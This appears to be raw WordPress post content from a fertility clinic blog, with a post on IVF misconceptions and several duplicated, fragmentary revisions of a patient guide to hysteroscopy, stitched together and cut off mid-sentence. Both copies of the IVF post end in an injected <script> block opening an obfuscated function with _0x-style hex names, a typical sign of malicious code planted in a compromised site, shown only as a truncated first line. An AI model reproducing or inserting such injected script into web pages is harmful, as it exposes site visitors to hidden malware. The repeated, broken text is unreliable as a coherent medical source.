most fascinating discoveries of the 20th century. Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept. I have listed a few Misconceptions along with their explanation.<!--more-->\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF injections cause cancer.</strong></h2>\r\n</li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <strong><a href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <a href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. Routine activities can very well be carried out without affecting pregnancy rates.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return

Nobel prize in medicine was awarded to Sir Robert G Edwards in 2010 for this amazing discovery. It has been about 40 years since the birth of the first child through IVF. Over 4 million people owe their existence to IVF. Despite this, many people are not convinced by this concept. I have listed a few Misconceptions along with their explanation.<!--more-->\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF injections cause cancer.</strong></h2>\r\n</li>\r\n</ul>\r\nAll the injections which are given are eliminated from the body within one month. There have been numerous studies till date which have proven that the gonadotropin injections do not cause cancer. However, a small risk of borderline ovarian tumours is noted, which have an excellent prognosis with preservation of fertility. An oocyte donor can <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/egg-donation\" target=\"_blank\" rel=\"noopener\"><strong>donate eggs</strong></a></span> for up to 6 cycles safely!\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>The medications take away all eggs and result in early menopause.</strong></h2>\r\n</li>\r\n</ul>\r\nNormally a group of follicles containing eggs begins to grow at the beginning of a menstrual cycle. Only 1 egg matures enough and is released from the ovary. Remaining degenerate. In IVF, these injections rescue the degenerating eggs and stimulate them to reach maturity. As a result, the age of menopause is not affected.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>Babies born through IVF are not normal physically and mentally.</strong></h2>\r\n</li>\r\n</ul>\r\n2% of the babies conceived naturally are born with some malformation. Similarly, about 2-3% of babies born through IVF are with malformations. Most of the abnormal embryos do not implant in the uterus and grow.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>IVF results in twins and higher-order pregnancies</strong></h2>\r\n</li>\r\n</ul>\r\nWe can limit the number of embryos transferred into the uterus and hence prevent multiple pregnancies. In other treatment options such as ovarian stimulation and Intrauterine insemination <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\">IUI</a></strong></span>, all the eggs that are released are capable of being fertilized. Hence, we have no control over the rate of multiple pregnancies.\r\n<ul>\r\n 	<li>\r\n<h2 style=\"text-align: left; font-size: 15px; width: 100%;\"><strong>After IVF treatment, complete bed rest is required.</strong></h2>\r\n</li>\r\n</ul>\r\nBoth the egg retrieval and <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/frozen-embryo-transfer\" target=\"_blank\" rel=\"noopener\"><strong>embryo transfer</strong></a></span> are daycare procedures, requiring an admission of 3-4 hours. It is advisable to avoid the strenuous physical activity of any sort; however, there is no evidence that complete bed rest favours embryo implantation. Routine activities can very well be carried out without affecting pregnancy rates.\r\n\r\n</div>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return

procedure to look inside your uterus. It is done using a narrow tube-like telescope with a camera called a hysteroscope, which is inserted into the vagina to examine the cervix and inside of the uterus. Hysteroscopy can be either diagnostic or operative.\r\n\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What is diagnostic hysteroscopy?</strong></h2>\r\nDiagnostic hysteroscopy is used to diagnose problems of the uterine cavity. It can sometimes be clubbed with laparoscopy [In laparoscopy, your doctor will insert an endoscope (a slender tube fitted with a fiber-optic camera) into your abdomen, through the navel, to view the outside of your uterus, ovaries and fallopian tubes.]<img class=\"aligncenter wp-image-107 size-full\" title=\"Normal Uterine Cavity\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog6.png\" alt=\"Normal Uterine Cavity\" width=\"314\" height=\"272\" />\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What is operative hysteroscopy?</strong></h2>\r\nOperative hysteroscopy is used to correct an abnormal condition that has been detected during a diagnostic hysteroscopy. If an abnormal condition is detected during the diagnostic hysteroscopy, an operative hysteroscopy can often be performed at the same time, avoiding the need for a second surgery. During operative hysteroscopy, small instruments used to correct the condition are inserted through the hysteroscope.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Why it is done?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\">A hysteroscopy may be done to:</h3>\r\n<ul>\r\n 	<li>Find the cause of severe cramping or abnormal bleeding.</li>\r\n 	<li>See whether a problem in the shape or size of the uterus or if scar tissue in the uterus is the cause of infertility</li>\r\n 	<li>Look at the uterine openings to the fallopian tubes. If the tubes are blocked, your doctor may be able to open the tubes with special tools passed through the hysteroscope (tubal cannulation)</li>\r\n 	<li>Find the possible cause of repeated miscarriages. Other tests may also be done.</li>\r\n 	<li>Find and remove a misplaced intrauterine device (IUD)</li>\r\n 	<li>Find and remove small fibroids or polyps</li>\r\n 	<li>Look for endometrial cancer</li>\r\n 	<li>Use heated tools to remove problem areas in the lining of the uterus (endometrial ablation)</li>\r\n 	<li>Place a contraceptive implant (such as Essure) into the opening of the fallopian tubes as a method of permanent sterilization</li>\r\n 	<li>Determine the cause of unexplained bleeding or spotting in postmenopausal women</li>\r\n</ul>\r\n<img class=\"aligncenter wp-image-109 size-full\" title=\"Intrauterine Septum Resection\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog7-300x107.png\" alt=\"Intrauterine Septum Resection\" width=\"300\" height=\"107\" />\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>When is operative hysteroscopy used?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\">Your doctor may perform hysteroscopy to correct the following uterine conditions:</h3>\r\n<ul>\r\n 	<li><strong>Polyps and fibroids:</strong> Hysteroscopy is used to remove these non-cancerous growths found in the uterus.</li>\r\n 	<li><strong>Adhesions: </strong>Also known as Asherman’s Syndrome, uterine adhesions are bands of scar tissue that can form in the uterus and may lead to changes in menstrual flow as well as <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/blog/things-you-should-know-when-battling-with-infertility/\" target=\"_blank\" rel=\"noopener\"><strong>infertility</strong></a></span>. Hysteroscopy can help your doctor locate and remove the adhesions.</li>\r\n 	<li><strong>Septums:</strong> Hysteroscopy can help determine whether you have a uterine septum, a malformation of the uterus that is present from birth.</li>\r\n 	<li><strong>Abnormal bleeding:</strong> Hysteroscopy can help identify the cause of heavy or lengthy menstrual flow, as well as bleeding between periods or after menopause. Endometrial ablation is one procedure in which the hysteroscope, along with other instruments, is used to destroy the uterine lining in order to treat some causes of heavy bleeding.</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How safe is hysteroscopy?</strong></h2>\r\nHysteroscopy is a relatively safe procedure. However, as with any type of surgery, complications are possible. With hysteroscopy, complications occur in less than 1 percent of cases and can include:\r\n<ul>\r\n 	<li>Risks associated with anesthesia</li>\r\n 	<li>Infection</li>\r\n 	<li>Heavy bleeding</li>\r\n 	<li>Injury to the cervix, uterus, bowel or bladder</li>\r\n 	<li>Intrauterine scarring</li>\r\n 	<li>Reaction to the substance used to expand the uterus</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>When should the procedure be performed?</strong></h2>\r\nYour doctor may recommend scheduling the hysteroscopy for the first week after your menstrual period. This timing will provide the doctor with the best view of the inside of your uterus.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What type of anesthesia is used for hysteroscopy?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\">Anesthesia for hysteroscopy may be local, regional, or general:</h3>\r\n<ul>\r\n 	<li><strong>Local anesthesia:</strong> The numbing of only a part of the body for a short time</li>\r\n 	<li><strong>Regional anesthesia:</strong> The numbing of a larger portion of the body for a few hours</li>\r\n 	<li><strong>General anesthesia:</strong> The numbing of the entire body for the entire time of the <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/laparoscopic-and-hysteroscopic-surgeries\" target=\"_blank\" rel=\"noopener\"><strong>hysteroscopy surgery</strong></a></span></li>\r\n</ul>\r\nThe type of anesthesia used is determined by where the hysteroscopy is to be performed (hospital or doctor’s office) and whether other procedures will be done at the same time. If you are having general anesthesia, you will be told not to eat or drink for a certain amount of time before the hysteroscopy.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>How is hysteroscopy performed?</strong></h2>\r\nPrior to the procedure, your doctor may prescribe a sedative to help you relax. You will then be prepared for anesthesia.\r\n<h3 style=\"text-align: left; font-size: 12px; width: 100%;\"><strong>The procedure itself takes place in the following order:</strong></h3>\r\n<ul>\r\n 	<li>The doctor will dilate (widen) your cervix to allow the hysteroscope to be inserted</li>\r\n 	<li>The hysteroscope is inserted through your vagina and cervix into the uterus</li>\r\n 	<li>Carbon dioxide gas or a liquid solution is then inserted into the uterus, through the hysteroscope, to expand it and to clear away any blood or mucus</li>\r\n 	<li>Next, a light shone through the hysteroscope allows your doctor to see your uterus and the openings of the fallopian tubes into the uterine cavity</li>\r\n 	<li>Finally, if surgery needs to be performed, small instruments are inserted into the uterus through the hysteroscope</li>\r\n</ul>\r\nThe time it takes to perform hysteroscopy can range from less than 5 minutes to more than an hour. The length of the procedure depends on whether it is diagnostic or operative and whether an additional procedure, such as laparoscopy, is done at the same time. In general, however, diagnostic hysteroscopy takes less time than operative.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>What can I expect after the procedure?</strong></h2>\r\nIf regional or general anesthesia is used during your procedure, you may have to be observed for several hours before going home. After the procedure, you may have some cramping or slight vaginal bleeding for one to two days. In addition, you may feel shoulder pain if gas was used during your hysteroscopy. However, if you experience any of the following symptoms, be sure to <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>contact your doctor:</strong></a></span>\r\n<ul>\r\n 	<li>Fever</li>\r\n 	<li>Severe abdominal pain</li>\r\n 	<li>Heavy vaginal bleeding or discharge</li>\r\n</ul>\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>Will I have to stay in the hospital overnight?</strong></h2>\r\nHysteroscopy is considered minor surgery and usually does not require an overnight stay in the hospital. However, in certain circumstances, such as if your doctor is concerned about your reaction to anesthesia or in case of operative procedures, an overnight stay may be required.\r\n<h2 style=\"text-align: left; font-size: 30px; width: 100%;\"><strong>When do I call the doctor?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 30px; width: 100%;\">If you have any of the following problems mentioned below:</h3>\r\n<ul>\r\n 	<li>Heavy vaginal bleeding or discharge (more than a normal menstrual period)</li>\r\n 	<li>Fever</li>\r\n 	<li>Fever</li>\r\n 	<li>Problems urinating</li>\r\n 	<li>Shortness of breath</li>\r\n 	<li>Vomiting</li>\r\n</ul>\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>American College of Obstetricians and Gynecologists.

is a procedure to look inside your uterus. It is done using a narrow tube-like telescope with a camera called a hysteroscope, which is inserted into the vagina to examine the cervix and inside of the uterus. Hysteroscopy can be either diagnostic or operative.\r\n<!--more-->\r\n\r\n<strong>What is diagnostic hysteroscopy?</strong>\r\nDiagnostic hysteroscopy is used to diagnose problems of the uterine cavity. It can sometimes be clubbed with laparoscopy [In laparoscopy, your doctor will insert an endoscope (a slender tube fitted with a fiber-optic camera) into your abdomen, through the navel, to view the outside of your uterus, ovaries and fallopian tubes.]<img class=\"size-full wp-image-107 aligncenter\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog6.png\" alt=\"\" width=\"314\" height=\"272\" />\r\n\r\n<strong>What is operative hysteroscopy?</strong>\r\nOperative hysteroscopy is used to correct an abnormal condition that has been detected during a diagnostic hysteroscopy. If an abnormal condition is detected during the diagnostic hysteroscopy, an operative hysteroscopy can often be performed at the same time, avoiding the need for a second surgery. During operative hysteroscopy, small instruments used to correct the condition are inserted through the hysteroscope.\r\n\r\n<strong>Why it is done?</strong>\r\nA hysteroscopy may be done to:\r\n<ul>\r\n 	<li>Find the cause of severe cramping or abnormal bleeding.</li>\r\n 	<li>See whether a problem in the shape or size of the uterus or if scar tissue in the uterus is the cause of infertility</li>\r\n 	<li>Look at the uterine openings to the fallopian tubes. If the tubes are blocked, your doctor may be able to open the tubes with special tools passed through the hysteroscope (tubal cannulation)</li>\r\n 	<li>Find the possible cause of repeated miscarriages. Other tests may also be done.</li>\r\n 	<li>Find and remove a misplaced intrauterine device (IUD)</li>\r\n 	<li>Find and remove small fibroids or polyps</li>\r\n 	<li>Look for endometrial cancer</li>\r\n 	<li>Use heated tools to remove problem areas in the lining of the uterus (endometrial ablation)</li>\r\n 	<li>Place a contraceptive implant (such as Essure) into the opening of the fallopian tubes as a method of permanent sterilization</li>\r\n 	<li>Determine the cause of unexplained bleeding or spotting in postmenopausal women</li>\r\n</ul>\r\n<img class=\"aligncenter size-full wp-image-109\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog7-300x107.png\" alt=\"\" width=\"300\" height=\"107\" />\r\n\r\n<strong>When is operative hysteroscopy used?</strong>\r\n\r\nYour doctor may perform hysteroscopy to correct the following uterine conditions:\r\n<ul>\r\n 	<li><strong>Polyps and fibroids:</strong> Hysteroscopy is used to remove these non-cancerous growths found in the uterus.</li>\r\n 	<li><strong>Adhesions: </strong>Also known as Asherman’s Syndrome, uterine adhesions are bands of scar tissue that can form in the uterus and may lead to changes in menstrual flow as well as infertility. Hysteroscopy can help your doctor locate and remove the adhesions.</li>\r\n 	<li><strong>Septums:</strong> Hysteroscopy can help determine whether you have a uterine septum, a malformation of the uterus that is present from birth.</li>\r\n 	<li><strong>Abnormal bleeding:</strong> Hysteroscopy can help identify the cause of heavy or lengthy menstrual flow, as well as bleeding between periods or after menopause. Endometrial ablation is one procedure in which the hysteroscope, along with other instruments, is used to destroy the uterine lining in order to treat some causes of heavy bleeding.</li>\r\n</ul>\r\n<strong>How safe is hysteroscopy?</strong>\r\n\r\nHysteroscopy is a relatively safe procedure. However, as with any type of surgery, complications are possible. With hysteroscopy, complications occur in less than 1 percent of cases and can include:\r\n<ul>\r\n 	<li>Risks associated with anesthesia</li>\r\n 	<li>Infection</li>\r\n 	<li>Heavy bleeding</li>\r\n 	<li>Injury to the cervix, uterus, bowel or bladder</li>\r\n 	<li>Intrauterine scarring</li>\r\n 	<li>Reaction to the substance used to expand the uterus</li>\r\n</ul>\r\n<strong>When should the procedure be performed?</strong>\r\n\r\nYour doctor may recommend scheduling the hysteroscopy for the first week after your menstrual period. This timing will provide the doctor with the best view of the inside of your uterus.\r\n\r\n<strong>What type of anesthesia is used for hysteroscopy?</strong>\r\n\r\nAnesthesia for hysteroscopy may be local, regional, or general:\r\n<ul>\r\n 	<li><strong>Local anesthesia:</strong> The numbing of only a part of the body for a short time</li>\r\n 	<li><strong>Regional anesthesia:</strong> The numbing of a larger portion of the body for a few hours</li>\r\n 	<li><strong>General anesthesia:</strong> The numbing of the entire body for the entire time of the surgery</li>\r\n</ul>\r\nThe type of anesthesia used is determined by where the hysteroscopy is to be performed (hospital or doctor’s office) and whether other procedures will be done at the same time. If you are having general anesthesia, you will be told not to eat or drink for a certain amount of time before the hysteroscopy.\r\n\r\n<strong>How is hysteroscopy performed?</strong>\r\nPrior to the procedure, your doctor may prescribe a sedative to help you relax. You will then be prepared for anesthesia.\r\n\r\n<strong>The procedure itself takes place in the following order:</strong>\r\n<ul>\r\n 	<li>The doctor will dilate (widen) your cervix to allow the hysteroscope to be inserted</li>\r\n 	<li>The hysteroscope is inserted through your vagina and cervix into the uterus</li>\r\n 	<li>Carbon dioxide gas or a liquid solution is then inserted into the uterus, through the hysteroscope, to expand it and to clear away any blood or mucus</li>\r\n 	<li>Next, a light shone through the hysteroscope allows your doctor to see your uterus and the openings of the fallopian tubes into the uterine cavity</li>\r\n 	<li>Finally, if surgery needs to be performed, small instruments are inserted into the uterus through the hysteroscope</li>\r\n</ul>\r\nThe time it takes to perform hysteroscopy can range from less than 5 minutes to more than an hour. The length of the procedure depends on whether it is diagnostic or operative and whether an additional procedure, such as laparoscopy, is done at the same time. In general, however, diagnostic hysteroscopy takes less time than operative.\r\n\r\n<strong>What can I expect after the procedure?</strong>\r\nIf regional or general anesthesia is used during your procedure, you may have to be observed for several hours before going home. After the procedure, you may have some cramping or slight vaginal bleeding for one to two days. In addition, you may feel shoulder pain if gas was used during your hysteroscopy. However, if you experience any of the following symptoms, be sure to contact your doctor:\r\n<ul>\r\n 	<li>Fever</li>\r\n 	<li>Severe abdominal pain</li>\r\n 	<li>Heavy vaginal bleeding or discharge</li>\r\n</ul>\r\n<strong>Will I have to stay in the hospital overnight?</strong>\r\nHysteroscopy is considered minor surgery and usually does not require an overnight stay in the hospital. However, in certain circumstances, such as if your doctor is concerned about your reaction to anesthesia or in case of operative procedures, an overnight stay may be required.\r\n\r\n<strong>When do I call the doctor?</strong>\r\nIf you have any of the following problems mentioned below:\r\n<ul>\r\n 	<li>Heavy vaginal bleeding or discharge (more than a normal menstrual period)</li>\r\n 	<li>Fever</li>\r\n 	<li>Fever</li>\r\n 	<li>Problems urinating</li>\r\n 	<li>Shortness of breath</li>\r\n 	<li>Vomiting</li>\r\n</ul>\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>American College of Obstetricians and Gynecologists.

hysteroscopy?</strong></h2>\r\nHysteroscopy is a procedure to look inside your uterus. It is done using a narrow tube-like telescope with a camera called a hysteroscope, which is inserted into the vagina to examine the cervix and inside of the uterus. Hysteroscopy can be either diagnostic or operative.\r\n<!--more-->\r\n\r\n<strong>What is diagnostic hysteroscopy?</strong>\r\nDiagnostic hysteroscopy is used to diagnose problems of the uterine cavity. It can sometimes be clubbed with laparoscopy [In laparoscopy, your doctor will insert an endoscope (a slender tube fitted with a fiber-optic camera) into your abdomen, through the navel, to view the outside of your uterus, ovaries and fallopian tubes.]<img class=\"size-full wp-image-107 aligncenter\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog6.png\" alt=\"\" width=\"314\" height=\"272\" />\r\n\r\n<strong>What is operative hysteroscopy?</strong>\r\nOperative hysteroscopy is used to correct an abnormal condition that has been detected during a diagnostic hysteroscopy. If an abnormal condition is detected during the diagnostic hysteroscopy, an operative hysteroscopy can often be performed at the same time, avoiding the need for a second surgery. During operative hysteroscopy, small instruments used to correct the condition are inserted through the hysteroscope.\r\n\r\n<strong>Why it is done?</strong>\r\nA hysteroscopy may be done to:\r\n<ul>\r\n 	<li>Find the cause of severe cramping or abnormal bleeding.</li>\r\n 	<li>See whether a problem in the shape or size of the uterus or if scar tissue in the uterus is the cause of infertility</li>\r\n 	<li>Look at the uterine openings to the fallopian tubes. If the tubes are blocked, your doctor may be able to open the tubes with special tools passed through the hysteroscope (tubal cannulation)</li>\r\n 	<li>Find the possible cause of repeated miscarriages. Other tests may also be done.</li>\r\n 	<li>Find and remove a misplaced intrauterine device (IUD)</li>\r\n 	<li>Find and remove small fibroids or polyps</li>\r\n 	<li>Look for endometrial cancer</li>\r\n 	<li>Use heated tools to remove problem areas in the lining of the uterus (endometrial ablation)</li>\r\n 	<li>Place a contraceptive implant (such as Essure) into the opening of the fallopian tubes as a method of permanent sterilization</li>\r\n 	<li>Determine the cause of unexplained bleeding or spotting in postmenopausal women</li>\r\n</ul>\r\n<img class=\"aligncenter size-full wp-image-109\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog7-300x107.png\" alt=\"\" width=\"300\" height=\"107\" />\r\n\r\n<strong>When is operative hysteroscopy used?</strong>\r\n\r\nYour doctor may perform hysteroscopy to correct the following uterine conditions:\r\n<ul>\r\n 	<li><strong>Polyps and fibroids:</strong> Hysteroscopy is used to remove these non-cancerous growths found in the uterus.</li>\r\n 	<li><strong>Adhesions: </strong>Also known as Asherman’s Syndrome, uterine adhesions are bands of scar tissue that can form in the uterus and may lead to changes in menstrual flow as well as infertility. Hysteroscopy can help your doctor locate and remove the adhesions.</li>\r\n 	<li><strong>Septums:</strong> Hysteroscopy can help determine whether you have a uterine septum, a malformation of the uterus that is present from birth.</li>\r\n 	<li><strong>Abnormal bleeding:</strong> Hysteroscopy can help identify the cause of heavy or lengthy menstrual flow, as well as bleeding between periods or after menopause. Endometrial ablation is one procedure in which the hysteroscope, along with other instruments, is used to destroy the uterine lining in order to treat some causes of heavy bleeding.</li>\r\n</ul>\r\n<strong>How safe is hysteroscopy?</strong>\r\n\r\nHysteroscopy is a relatively safe procedure. However, as with any type of surgery, complications are possible. With hysteroscopy, complications occur in less than 1 percent of cases and can include:\r\n<ul>\r\n 	<li>Risks associated with anesthesia</li>\r\n 	<li>Infection</li>\r\n 	<li>Heavy bleeding</li>\r\n 	<li>Injury to the cervix, uterus, bowel or bladder</li>\r\n 	<li>Intrauterine scarring</li>\r\n 	<li>Reaction to the substance used to expand the uterus</li>\r\n</ul>\r\n<strong>When should the procedure be performed?</strong>\r\n\r\nYour doctor may recommend scheduling the hysteroscopy for the first week after your menstrual period. This timing will provide the doctor with the best view of the inside of your uterus.\r\n\r\n<strong>What type of anesthesia is used for hysteroscopy?</strong>\r\n\r\nAnesthesia for hysteroscopy may be local, regional, or general:\r\n<ul>\r\n 	<li><strong>Local anesthesia:</strong> The numbing of only a part of the body for a short time</li>\r\n 	<li><strong>Regional anesthesia:</strong> The numbing of a larger portion of the body for a few hours</li>\r\n 	<li><strong>General anesthesia:</strong> The numbing of the entire body for the entire time of the surgery</li>\r\n</ul>\r\nThe type of anesthesia used is determined by where the hysteroscopy is to be performed (hospital or doctor’s office) and whether other procedures will be done at the same time. If you are having general anesthesia, you will be told not to eat or drink for a certain amount of time before the hysteroscopy.\r\n\r\n<strong>How is hysteroscopy performed?</strong>\r\nPrior to the procedure, your doctor may prescribe a sedative to help you relax. You will then be prepared for anesthesia.\r\n\r\n<strong>The procedure itself takes place in the following order:</strong>\r\n<ul>\r\n 	<li>The doctor will dilate (widen) your cervix to allow the hysteroscope to be inserted</li>\r\n 	<li>The hysteroscope is inserted through your vagina and cervix into the uterus</li>\r\n 	<li>Carbon dioxide gas or a liquid solution is then inserted into the uterus, through the hysteroscope, to expand it and to clear away any blood or mucus</li>\r\n 	<li>Next, a light shone through the hysteroscope allows your doctor to see your uterus and the openings of the fallopian tubes into the uterine cavity</li>\r\n 	<li>Finally, if surgery needs to be performed, small instruments are inserted into the uterus through the hysteroscope</li>\r\n</ul>\r\nThe time it takes to perform hysteroscopy can range from less than 5 minutes to more than an hour. The length of the procedure depends on whether it is diagnostic or operative and whether an additional procedure, such as laparoscopy, is done at the same time. In general, however, diagnostic hysteroscopy takes less time than operative.\r\n\r\n<strong>What can I expect after the procedure?</strong>\r\nIf regional or general anesthesia is used during your procedure, you may have to be observed for several hours before going home. After the procedure, you may have some cramping or slight vaginal bleeding for one to two days. In addition, you may feel shoulder pain if gas was used during your hysteroscopy. However, if you experience any of the following symptoms, be sure to contact your doctor:\r\n<ul>\r\n 	<li>Fever</li>\r\n 	<li>Severe abdominal pain</li>\r\n 	<li>Heavy vaginal bleeding or discharge</li>\r\n</ul>\r\n<strong>Will I have to stay in the hospital overnight?</strong>\r\nHysteroscopy is considered minor surgery and usually does not require an overnight stay in the hospital. However, in certain circumstances, such as if your doctor is concerned about your reaction to anesthesia or in case of operative procedures, an overnight stay may be required.\r\n\r\n<strong>When do I call the doctor?</strong>\r\nIf you have any of the following problems mentioned below:\r\n<ul>\r\n 	<li>Heavy vaginal bleeding or discharge (more than a normal menstrual period)</li>\r\n 	<li>Fever</li>\r\n 	<li>Fever</li>\r\n 	<li>Problems urinating</li>\r\n 	<li>Shortness of breath</li>\r\n 	<li>Vomiting</li>\r\n</ul>\r\n<strong>References</strong>\r\n<ul>\r\n 	<li>American College of Obstetricians and Gynecologists.

It is done using a narrow tube-like telescope with a camera called a hysteroscope, which is inserted into the vagina to examine the cervix and inside of the uterus. Hysteroscopy can be either diagnostic or operative.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What is diagnostic hysteroscopy?</strong></h2>\r\nDiagnostic hysteroscopy is used to diagnose problems of the uterine cavity. It can sometimes be clubbed with laparoscopy [In laparoscopy, your doctor will insert an endoscope (a slender tube fitted with a fiber-optic camera) into your abdomen, through the navel, to view the outside of your uterus, ovaries and fallopian tubes.]<img class=\"size-full wp-image-107 aligncenter\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog6.png\" alt=\"\" width=\"314\" height=\"272\" />\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>What is operative hysteroscopy?</strong></h2>\r\nOperative hysteroscopy is used to correct an abnormal condition that has been detected during a diagnostic hysteroscopy. If an abnormal condition is detected during the diagnostic hysteroscopy, an operative hysteroscopy can often be performed at the same time, avoiding the need for a second surgery. During operative hysteroscopy, small instruments used to correct the condition are inserted through the hysteroscope.\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>Why it is done?</strong></h2>\r\n<h2 style=\"text-align: left; font-size: 12px; width: 100%;\">A hysteroscopy may be done to:</h2>\r\n<ul>\r\n 	<li>Find the cause of severe cramping or abnormal bleeding.</li>\r\n 	<li>See whether a problem in the shape or size of the uterus or if scar tissue in the uterus is the cause of infertility</li>\r\n 	<li>Look at the uterine openings to the fallopian tubes. If the tubes are blocked, your doctor may be able to open the tubes with special tools passed through the hysteroscope (tubal cannulation)</li>\r\n 	<li>Find the possible cause of repeated miscarriages. Other tests may also be done.</li>\r\n 	<li>Find and remove a misplaced intrauterine device (IUD)</li>\r\n 	<li>Find and remove small fibroids or polyps</li>\r\n 	<li>Look for endometrial cancer</li>\r\n 	<li>Use heated tools to remove problem areas in the lining of the uterus (endometrial ablation)</li>\r\n 	<li>Place a contraceptive implant (such as Essure) into the opening of the fallopian tubes as a method of permanent sterilization</li>\r\n 	<li>Determine the cause of unexplained bleeding or spotting in postmenopausal women</li>\r\n</ul>\r\n<img class=\"aligncenter size-full wp-image-109\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/blog7-300x107.png\" alt=\"\" width=\"300\" height=\"107\" />\r\n<h2 style=\"text-align: left; font-size: 14px; width: 100%;\"><strong>When is operative hysteroscopy used?</strong></h2>\r\n<h2 style=\"text-align: left; font-size: 12px; width: 100%;\">Your doctor may perform hysteroscopy to correct the following uterine conditions:</h2>\r\n<ul>\r\n 	<li><strong>Polyps and fibroids:</strong> Hysteroscopy is used to remove these non-cancerous growths found in the uterus.</li>\r\n 	<li><strong>Adhesions: </strong>Also known as Asherman’s Syndrome, uterine adhesions are bands of scar tissue that can form in the uterus and may lead to changes in menstrual flow as well as infertility. Hysteroscopy can help your doctor locate and remove the adhesions.</li>\r\n 	<li><strong>Septums:</strong> Hysteroscopy can help determine whether you have a uterine septum, a malformation of the uterus that is present from birth.</li>\r\n 	<li><strong>Abnormal bleeding:</strong> Hysteroscopy can help identify the cause of heavy or lengthy menstrual flow, as well as bleeding between periods or after menopause. Endometrial 